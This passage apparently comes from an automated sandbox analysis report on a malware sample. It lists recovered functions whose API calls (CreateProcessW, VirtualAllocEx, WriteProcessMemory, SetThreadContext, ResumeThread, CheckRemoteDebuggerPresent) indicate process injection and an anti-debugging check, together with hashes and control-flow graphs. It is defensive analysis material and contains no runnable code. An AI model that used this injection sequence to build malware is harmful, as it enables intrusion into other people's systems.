                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: CreateProcess
                  • String ID: cq0{
                  • API String ID: 963392458-1165302737
                  • Opcode ID: 7279a7bfe5865db9b64f9b5b2b0f6e70b3c3cd874032c2da2c2527303b4c3538
                  • Instruction ID: 6ff57309aa92f6b8ee7f0ca69aa25d634a6a444be32364d1eea83f374c56a959
                  • Opcode Fuzzy Hash: 7279a7bfe5865db9b64f9b5b2b0f6e70b3c3cd874032c2da2c2527303b4c3538
                  • Instruction Fuzzy Hash: D181D074C00229CFDB25CFA9D984BDEBBF1AF19300F1094AAE548B7220D7749A85CF54
                  Function 014EA180 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 236processCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 26 14ea180-14ea20b 27 14ea20d-14ea21f 26->27 28 14ea222-14ea230 26->28 27->28 29 14ea247-14ea283 28->29 30 14ea232-14ea244 28->30 31 14ea297-14ea372 CreateProcessW 29->31 32 14ea285-14ea294 29->32 30->29 36 14ea37b-14ea444 31->36 37 14ea374-14ea37a 31->37 32->31 46 14ea47a-14ea485 36->46 47 14ea446-14ea46f 36->47 37->36 51 14ea486 46->51 47->46 51->51
                  APIs
                  • CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 014EA35F
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: CreateProcess
                  • String ID: cq0{
                  • API String ID: 963392458-1165302737
                  • Opcode ID: 333e44783ed1835dd34a12bb379c5f52734a1c4518dd7f6c9062cbe6bffaad1d
                  • Instruction ID: 937e108df42c2921cc8e0c531ccdc0d7ea11e862a37daa57fc7f12fbd07ed216
                  • Opcode Fuzzy Hash: 333e44783ed1835dd34a12bb379c5f52734a1c4518dd7f6c9062cbe6bffaad1d
                  • Instruction Fuzzy Hash: 9181C174C00229CFDB25CFA9C984BDEBBF5AF09300F1094AAE548B7220D7749A85CF54
                  Function 014EA829 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112injectionCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 52 14ea829-14ea897 53 14ea8ae-14ea90e WriteProcessMemory 52->53 54 14ea899-14ea8ab 52->54 55 14ea917-14ea955 53->55 56 14ea910-14ea916 53->56 54->53 56->55
                  APIs
                  • WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 014EA8FE
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: MemoryProcessWrite
                  • String ID: cq0{
                  • API String ID: 3559483778-1165302737
                  • Opcode ID: 07b346a8618352a1c441cf359a971b2029025ab75602b9dae266969b6cbcdd6a
                  • Instruction ID: 7b340873008f77855572421d5921c16801bde7f32f1f001323bed262ac5487f5
                  • Opcode Fuzzy Hash: 07b346a8618352a1c441cf359a971b2029025ab75602b9dae266969b6cbcdd6a
                  • Instruction Fuzzy Hash: D9417AB9D042589FCB14CFA9D984ADEFBF1BB49310F24902AE918B7210D375AA45CF64
                  Function 014EA830 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110injectionCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 59 14ea830-14ea897 60 14ea8ae-14ea90e WriteProcessMemory 59->60 61 14ea899-14ea8ab 59->61 62 14ea917-14ea955 60->62 63 14ea910-14ea916 60->63 61->60 63->62
                  APIs
                  • WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 014EA8FE
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: MemoryProcessWrite
                  • String ID: cq0{
                  • API String ID: 3559483778-1165302737
                  • Opcode ID: c97b24c98ae5ccde7fba7a10d581ed98eccee5d81d7573920b6875df804d9f48
                  • Instruction ID: 3c1b9904fe5cdc77702a5791514b33a48977d52284a7c6fb9a5afde5cb5b141c
                  • Opcode Fuzzy Hash: c97b24c98ae5ccde7fba7a10d581ed98eccee5d81d7573920b6875df804d9f48
                  • Instruction Fuzzy Hash: F14169B9D042589FCB10CFA9D984ADEFBF1BB49310F24902AE918B7310D375AA45CF64
                  Function 014EA609 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 66 14ea609-14ea6cd ReadProcessMemory 67 14ea6cf-14ea6d5 66->67 68 14ea6d6-14ea714 66->68 67->68
                  APIs
                  • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 014EA6BD
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: MemoryProcessRead
                  • String ID: cq0{
                  • API String ID: 1726664587-1165302737
                  • Opcode ID: 60e33aa129fff70db4e0061288723162451e4ba1734a13307a2b5eeb3afa76c7
                  • Instruction ID: 4a77ece0b888b6ce007e46101110c43482dea60352883e2f073ee5b75bde382a
                  • Opcode Fuzzy Hash: 60e33aa129fff70db4e0061288723162451e4ba1734a13307a2b5eeb3afa76c7
                  • Instruction Fuzzy Hash: 7D3178B9D04258DFCB10CFA9D984ADEFBB1BB19310F10906AE814B7210D375A945CF65
                  Function 014EA610 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 71 14ea610-14ea6cd ReadProcessMemory 72 14ea6cf-14ea6d5 71->72 73 14ea6d6-14ea714 71->73 72->73
                  APIs
                  • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 014EA6BD
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: MemoryProcessRead
                  • String ID: cq0{
                  • API String ID: 1726664587-1165302737
                  • Opcode ID: b948d355f30b3f2945749ca8d0162c811a223b1a2caac34d8dd48fa7af53ddd7
                  • Instruction ID: 896a2f85ad02dd8d840223d56f7d22fe9cbb96a4bd6f790f259003ecf2a55e0e
                  • Opcode Fuzzy Hash: b948d355f30b3f2945749ca8d0162c811a223b1a2caac34d8dd48fa7af53ddd7
                  • Instruction Fuzzy Hash: 893157B9D042589FCB10CFAAD984ADEFBB5BB19310F10906AE918B7210D375A945CF64
                  Function 014EA720 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 76 14ea720-14ea7dd VirtualAllocEx 77 14ea7df-14ea7e5 76->77 78 14ea7e6-14ea81c 76->78 77->78
                  APIs
                  • VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 014EA7CD
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: AllocVirtual
                  • String ID: cq0{
                  • API String ID: 4275171209-1165302737
                  • Opcode ID: ffea2e691a6aa2ace24402b3410cfe59a28c377d556d0a3c91f10504ad0eb457
                  • Instruction ID: e303505216437dbda858c0cfb81b12cf4ab8cd0a2702e62b0b72854bf9675ca5
                  • Opcode Fuzzy Hash: ffea2e691a6aa2ace24402b3410cfe59a28c377d556d0a3c91f10504ad0eb457
                  • Instruction Fuzzy Hash: A93164B9D04258DFCB14CFA9E884ADEBBB1BB19310F20A06AE814B7310D335A945CF65
                  Function 014EA728 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 81 14ea728-14ea7dd VirtualAllocEx 82 14ea7df-14ea7e5 81->82 83 14ea7e6-14ea81c 81->83 82->83
                  APIs
                  • VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 014EA7CD
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: AllocVirtual
                  • String ID: cq0{
                  • API String ID: 4275171209-1165302737
                  • Opcode ID: 11cd0da371ae9b631bb3e64172986cdc5c865ad6b6821e75ed53f2df2976747f
                  • Instruction ID: a09a58b02e7b95a05501c5c1616e3c2ee80f9d6d88392ddc33a51c92695b3c1a
                  • Opcode Fuzzy Hash: 11cd0da371ae9b631bb3e64172986cdc5c865ad6b6821e75ed53f2df2976747f
                  • Instruction Fuzzy Hash: BA3155B9D042589FCF10CFA9D984A9EFBB5BB19310F20A01AE914B7310D335A945CF65
                  Function 014EA4F9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92threadCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 86 14ea4f9-14ea55c 87 14ea55e-14ea570 86->87 88 14ea573-14ea5ba Wow64SetThreadContext 86->88 87->88 89 14ea5bc-14ea5c2 88->89 90 14ea5c3-14ea5fb 88->90 89->90
                  APIs
                  • Wow64SetThreadContext.KERNEL32(?,?), ref: 014EA5AA
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: ContextThreadWow64
                  • String ID: cq0{
                  • API String ID: 983334009-1165302737
                  • Opcode ID: 935a68716d43e0ef7dbe25a9e9dd5861b016413e76d5aa416b7917b1ffb05c0b
                  • Instruction ID: 9f59ec8faf1de001cabb2872e890141b6d9f26c11b06e82966392a5eee0d922c
                  • Opcode Fuzzy Hash: 935a68716d43e0ef7dbe25a9e9dd5861b016413e76d5aa416b7917b1ffb05c0b
                  • Instruction Fuzzy Hash: 8831A9B5D012589FCB14CFA9E884AEEFBF1BB49310F24802AE418B7310D3789A45CF64
                  Function 014E5441 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 93 14e5441-14e549b 95 14e549d-14e54a5 93->95 96 14e54a8-14e54f1 EnumWindows 93->96 95->96 99 14e54fa-14e5546 96->99 100 14e54f3-14e54f9 96->100 100->99
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: EnumWindows
                  • String ID: cq0{
                  • API String ID: 1129996299-1165302737
                  • Opcode ID: 8194090668862c812effd139651406996d4bd8c10e5d0950056931ca1079a40c
                  • Instruction ID: 7679edbaad6adb89c57f1e703954c7f93ea897c908437360e8952c6c0e4e1745
                  • Opcode Fuzzy Hash: 8194090668862c812effd139651406996d4bd8c10e5d0950056931ca1079a40c
                  • Instruction Fuzzy Hash: 1331D9B4D012189FDB14CFA9D984AEEFBF1BF49310F20942AE405B7250CB78A941CFA4
                  Function 014EA500 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88threadCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 106 14ea500-14ea55c 107 14ea55e-14ea570 106->107 108 14ea573-14ea5ba Wow64SetThreadContext 106->108 107->108 109 14ea5bc-14ea5c2 108->109 110 14ea5c3-14ea5fb 108->110 109->110
                  APIs
                  • Wow64SetThreadContext.KERNEL32(?,?), ref: 014EA5AA
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: ContextThreadWow64
                  • String ID: cq0{
                  • API String ID: 983334009-1165302737
                  • Opcode ID: 060d477c1774e1f35448d8227f98a19124f7bb86636471a10ab9f5653b78ea52
                  • Instruction ID: b3e07b127eb4b36dea74f42696c7dec582571e11da884b9b72fe60d745795e43
                  • Opcode Fuzzy Hash: 060d477c1774e1f35448d8227f98a19124f7bb86636471a10ab9f5653b78ea52
                  • Instruction Fuzzy Hash: 6C319CB5D012589FCB14CFAAD584ADEFBF1BB49314F24802AE414B7350D378A945CF64
                  Function 014E5448 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 113 14e5448-14e549b 115 14e549d-14e54a5 113->115 116 14e54a8-14e54f1 EnumWindows 113->116 115->116 119 14e54fa-14e5546 116->119 120 14e54f3-14e54f9 116->120 120->119
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: EnumWindows
                  • String ID: cq0{
                  • API String ID: 1129996299-1165302737
                  • Opcode ID: 5eac1ceff464b38a3890a3ee6e8fc689590698f23972100ebe029feeb9d6d827
                  • Instruction ID: b4e81b454e740aabc1490d3cfe4001c41794de9dd4bff7a085b27ab97ff1fb91
                  • Opcode Fuzzy Hash: 5eac1ceff464b38a3890a3ee6e8fc689590698f23972100ebe029feeb9d6d827
                  • Instruction Fuzzy Hash: E331CBB4D012189FCB14CFAAD984AAEFBF5BF49310F10942AE405B7250CB75A945CBA4
                  Function 014E5070 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 126 14e5070-14e5116 CheckRemoteDebuggerPresent 131 14e511f-14e5163 126->131 132 14e5118-14e511e 126->132 132->131
                  APIs
                  • CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 014E5106
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: CheckDebuggerPresentRemote
                  • String ID: cq0{
                  • API String ID: 3662101638-1165302737
                  • Opcode ID: 985ed39c91a43afdaa30a00a7ba16c985df24efe4afc7c34f8f723c2a7befcc9
                  • Instruction ID: 169c7fd5afa023e8a6a2925efd8ef5e10671610ab2bfb0361ea83752f0cae5e5
                  • Opcode Fuzzy Hash: 985ed39c91a43afdaa30a00a7ba16c985df24efe4afc7c34f8f723c2a7befcc9
                  • Instruction Fuzzy Hash: 1731BBB8D012189FCB10CFAAD984A9EFBF5BF49320F10942AE819B7350C775A945CF94
                  Function 014EA969 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67threadCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 146 14ea969-14ea9f6 ResumeThread 147 14ea9ff-14eaa2d 146->147 148 14ea9f8-14ea9fe 146->148 148->147
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: ResumeThread
                  • String ID: cq0{
                  • API String ID: 947044025-1165302737
                  • Opcode ID: b09e1b2d07cf999eb48edcf03af1ffbfc4a72ae01b19ea81fe6c61bd688be3e6
                  • Instruction ID: 971e1002cafe34a6bcb001d0fdf641296cd748941547a1e17e48feec46fcf312
                  • Opcode Fuzzy Hash: b09e1b2d07cf999eb48edcf03af1ffbfc4a72ae01b19ea81fe6c61bd688be3e6
                  • Instruction Fuzzy Hash: 53218AB9D002199FCB14CFA9D584AEEFBF4AB49310F24905AE818B7310D375A945CFA4
                  Function 014EA970 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66threadCOMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: ResumeThread
                  • String ID: cq0{
                  • API String ID: 947044025-1165302737
                  • Opcode ID: 2d38d228358c78757533169ab15895abf7767cedabb6d5918329183720dd3ff1
                  • Instruction ID: ae6d782bce9adb66370edc284df9039f40838599434232a17c0e3ab521e9e796
                  • Opcode Fuzzy Hash: 2d38d228358c78757533169ab15895abf7767cedabb6d5918329183720dd3ff1
                  • Instruction Fuzzy Hash: A52197B9D002189FCB10CFA9D584ADEFBF4EB09320F24905AE918B7310D379A945CFA4
                  Function 014E3B58 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 71COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: CloseHandle
                  • String ID: cq0{
                  • API String ID: 2962429428-1165302737
                  • Opcode ID: b8b76f1d6fe01a145aaa9a9122ce95744405492772934d5a9e4ebb0fe920041c
                  • Instruction ID: 937fa774ec2acbe5ea03a0a6544727870fdfffdecee28362c54817dd08c2c915
                  • Opcode Fuzzy Hash: b8b76f1d6fe01a145aaa9a9122ce95744405492772934d5a9e4ebb0fe920041c
                  • Instruction Fuzzy Hash: 3E3189B8D042189FCB10CFA9E584AAEFBF4AB49314F10905AE918B7310D375A941CFA4
                  Function 014E5170 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: CloseHandle
                  • String ID: cq0{
                  • API String ID: 2962429428-1165302737
                  • Opcode ID: 3fc94888f92b6c70376f9bebad7b470f4f2412ccd57c6cd465406aa0e7d32a5d
                  • Instruction ID: 572564227b9bd3431267d602095aa5bc4bc6224877351ec09a4feb7eed9c5462
                  • Opcode Fuzzy Hash: 3fc94888f92b6c70376f9bebad7b470f4f2412ccd57c6cd465406aa0e7d32a5d
                  • Instruction Fuzzy Hash: A7319AB8D002189FCB10CFA9E884AEEFBF4AF49314F14901AE818B7310D335A941CFA4
                  Function 015709B8 Relevance: 1.3, Strings: 1, Instructions: 42COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: LRjq
                  • API String ID: 0-665714880
                  • Opcode ID: a84ae1aab0424e0fc31f8d07a3864f5b3ae0664665be8e7be96a1b77e923f3f9
                  • Instruction ID: e8a85cc8ba11aa6948390c2604f84215f91baf66058db14c75477803db90e73f
                  • Opcode Fuzzy Hash: a84ae1aab0424e0fc31f8d07a3864f5b3ae0664665be8e7be96a1b77e923f3f9
                  • Instruction Fuzzy Hash: CD017C70919389EFCB56DBB8A41569CBFB0BF42214F2040EED844DB392E7324E45D781
                  Function 01570960 Relevance: 1.3, Strings: 1, Instructions: 32COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: LRjq
                  • API String ID: 0-665714880
                  • Opcode ID: 08828e706749efbe5fe0bafe6655d32a93e95d9e2f467e8f6cd5a604122200f2
                  • Instruction ID: 9669a0873456bb36918661876698d1b91fbb533d23092d3a56e423f3a072c94e
                  • Opcode Fuzzy Hash: 08828e706749efbe5fe0bafe6655d32a93e95d9e2f467e8f6cd5a604122200f2
                  • Instruction Fuzzy Hash: B4F030305193859FC707DBB4946169C7FB0AB47125F2480EBC444DB293D6755D4AC762
                  Function 01570978 Relevance: 1.3, Strings: 1, Instructions: 19COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: LRjq
                  • API String ID: 0-665714880
                  • Opcode ID: b0e7436fc469d146de0da30a56a7e563fee48d6c495cd4f0baf302f150193ba3
                  • Instruction ID: 18a3f286b1a95b8ebd64e5bba498a423ec05eeaec2dbb1c848b999e4f7fdcd06
                  • Opcode Fuzzy Hash: b0e7436fc469d146de0da30a56a7e563fee48d6c495cd4f0baf302f150193ba3
                  • Instruction Fuzzy Hash: B4E08C30D1020DAFCB15EFACE44579DBBB0BB44210F6081A8D808A3384EB315E80CB81
                  Function 0118D01C Relevance: .1, Instructions: 70COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2092672086.000000000118D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0118D000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_118d000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6bd5ea9c7fdd43881d2a29cfb833dd71981b153e762dc6b35c46c9ebc1f47d18
                  • Instruction ID: 688188c357ae4c5036c5efb668d5fbf03cff82b997dd7ccdc5c914dd6ce2e35e
                  • Opcode Fuzzy Hash: 6bd5ea9c7fdd43881d2a29cfb833dd71981b153e762dc6b35c46c9ebc1f47d18
                  • Instruction Fuzzy Hash: F32101706443409FDB19EF68E5C4F26BBA5FB84354F20C66DE9494B392C33AD807CA62
                  Function 0118D017 Relevance: .1, Instructions: 51COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2092672086.000000000118D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0118D000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_118d000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 93d49e4a1442b6ae817b54e6d01109cf66e3cf9bb30be93c629efda23a912acd
                  • Instruction ID: 93020a76fbc752bb3599aa7d44920925a07f85f2ce9cef5bacd332a064802379
                  • Opcode Fuzzy Hash: 93d49e4a1442b6ae817b54e6d01109cf66e3cf9bb30be93c629efda23a912acd
                  • Instruction Fuzzy Hash: 13119D75504380CFDB16EF14D584B15BFA1FB84214F24C6A9D8494B692C33AD84BCB52
                  Function 01570C44 Relevance: .0, Instructions: 34COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 74c0eda759a18ab913ba3871646d064c2017f078d604381c6c99d4f946e0b5b9
                  • Instruction ID: 76e7d9d849a17d6b2b95de40bbcd933f073b36da8acd05e8e70df8a6c3e4c8ba
                  • Opcode Fuzzy Hash: 74c0eda759a18ab913ba3871646d064c2017f078d604381c6c99d4f946e0b5b9
                  • Instruction Fuzzy Hash: B7F0627090D388AFC753CBB4981159DBFB4AF43210F05C0E7D844DB2A2D2395D54DB62
                  Function 0157021C Relevance: .0, Instructions: 32COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f921b16da415a12bfd804050b7bd23be773d9537aad4c7628ede7ac38dbfd6a0
                  • Instruction ID: 73701404f41afd4b2c6e2fd15245ed0d265134e13377a23e4b06cf3cde5426d9
                  • Opcode Fuzzy Hash: f921b16da415a12bfd804050b7bd23be773d9537aad4c7628ede7ac38dbfd6a0
                  • Instruction Fuzzy Hash: EAF0903080E3C4AFC7138BB4982026CBFB1AF43211F1981DBD484DB2A3D2394E18DB62
                  Function 01570564 Relevance: .0, Instructions: 31COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0651f58934ece7ff4dcfeaa17f7dd5896de23a862d8376c5286dbaeb6fa63741
                  • Instruction ID: 006714d997e0ee2b4042372d32fa4b6ec3ea1638ba397b3da3c14973a2a5f4f6
                  • Opcode Fuzzy Hash: 0651f58934ece7ff4dcfeaa17f7dd5896de23a862d8376c5286dbaeb6fa63741
                  • Instruction Fuzzy Hash: 3DF0F97095A3C49FC752CBB898659997FF0AF07211B1A40EBD444DB2B3D2394D44DB62
                  Function 015703C8 Relevance: .0, Instructions: 29COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 33714071db27df3815214354ba2538b95c8ab4c9c83f50cc860155ffdc81a1f6
                  • Instruction ID: c94d957f5714d82a81824dba76fdc7417c1f3de861d9b65f82a4826074ce36cc
                  • Opcode Fuzzy Hash: 33714071db27df3815214354ba2538b95c8ab4c9c83f50cc860155ffdc81a1f6
                  • Instruction Fuzzy Hash: 80F0827040E385AFC703CF78D8106997FB9AF43210B1541DAD444CB2A3D6356E18D751
                  Function 01570B00 Relevance: .0, Instructions: 28COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 9cf5e1d45a48d77632ba9d4e92a2a671bfb62d31cda417f2307da4e9575f2382
                  • Instruction ID: 1eb9d21e40c3fd80657ca74cd59eaa9a798640613f3f1f142e02acf268bb9f29
                  • Opcode Fuzzy Hash: 9cf5e1d45a48d77632ba9d4e92a2a671bfb62d31cda417f2307da4e9575f2382
                  • Instruction Fuzzy Hash: 4CF01770D1A3899FCB56CF78941429CBFF1AF47214F1481EFD494D7262D6394A18CB51
                  Function 01570AB0 Relevance: .0, Instructions: 27COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093158754.0000000001570000.00000040.00000800.00020000.00000000.sdmp, Offset: 01570000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_1570000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6d617d61760511041312887e21047d61b0e93e7f8f5c8fccf49f0b71aa8217a5
